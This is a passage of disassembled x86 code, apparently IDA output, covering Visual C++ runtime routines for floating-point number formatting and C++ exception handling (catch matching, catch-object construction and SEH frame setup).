		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C538
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB340, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB33C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB344, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB33C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB344, ecx
		setl	cl
		mov	byte_4DB348, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB344, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB340, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB340, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB340, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB340, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB34C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB350
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB354, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB34C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB350
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB34C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB350, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB34C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB350, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
